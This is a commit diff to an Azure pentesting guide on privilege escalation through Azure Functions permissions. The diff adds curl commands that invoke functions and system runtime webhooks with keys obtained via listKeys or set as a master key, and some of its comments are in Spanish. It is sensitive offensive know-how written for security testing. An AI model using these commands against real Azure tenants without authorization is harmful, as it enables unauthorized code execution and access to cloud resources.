Skip to content

Commit e5b25a9

Browse files
committed
f
1 parent 55afbe8 commit e5b25a9

1 file changed

Lines changed: 19 additions & 3 deletions

File tree

src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md

Lines changed: 19 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -66,11 +66,11 @@ This config will usually contain a **SAS URL to download** the code from the Sto
6666
> [!CAUTION]
6767
> With enough permission to connect to the blob container that **contains the code in zip** it's possible to execute arbitrary code in the Function and escalate privileges.
6868
69-
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)`
69+
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE`)
7070

7171
Just like in the previous case, if the deployment is done via Github Actions it's possible to find the folder **`github-actions-deploy`** in the Storage Account containing a zip of the code and a SAS URL to the zip in the setting `WEBSITE_RUN_FROM_PACKAGE`.
7272

73-
- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE`)
73+
- **`scm-releases`**(`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE`)
7474

7575
With permissions to read the containers inside the Storage Account that stores the function data it's possible to find the container **`scm-releases`**. In there it's possible to find the latest release in **Squashfs filesystem file format** and therefore it's possible to read the code of the function:
7676

@@ -170,12 +170,18 @@ curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot
170170

171171
### `Microsoft.Web/sites/functions/listKeys/action`
172172

173-
This permission allows to get the host key, of the specified function with:
173+
This permission allows to get the default key, of the specified function with:
174174

175175
```bash
176176
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
177177
```
178178

179+
Invoke the function using the default key obtained:
180+
181+
```bash
182+
curl "https://<app-name>.azurewebsites.net/api/<func-endpoint-name>?code=<default-key>"
183+
```
184+
179185
### `Microsoft.Web/sites/host/functionKeys/write`
180186

181187
This permission allows to create/update a function key of the specified function with:
@@ -203,6 +209,16 @@ This permission allows to create/update a system function key to the specified f
203209
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
204210
```
205211

212+
Use the key:
213+
214+
```bash
215+
# Ejemplo: Acceso a endpoints de Durable Functions
216+
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/durabletask/instances?code=<system-key>"
217+
218+
# Ejemplo: Acceso a Event Grid webhooks
219+
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/eventgrid?code=<system-key>"
220+
```
221+
206222
### `Microsoft.Web/sites/config/list/action`
207223

208224
This permission allows to get the settings of a function. Inside these configurations it might be possible to find the default values **`AzureWebJobsStorage`** or **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** which contains an **account key to access the blob storage of the function with FULL permissions**.

0 commit comments

Comments
 (0)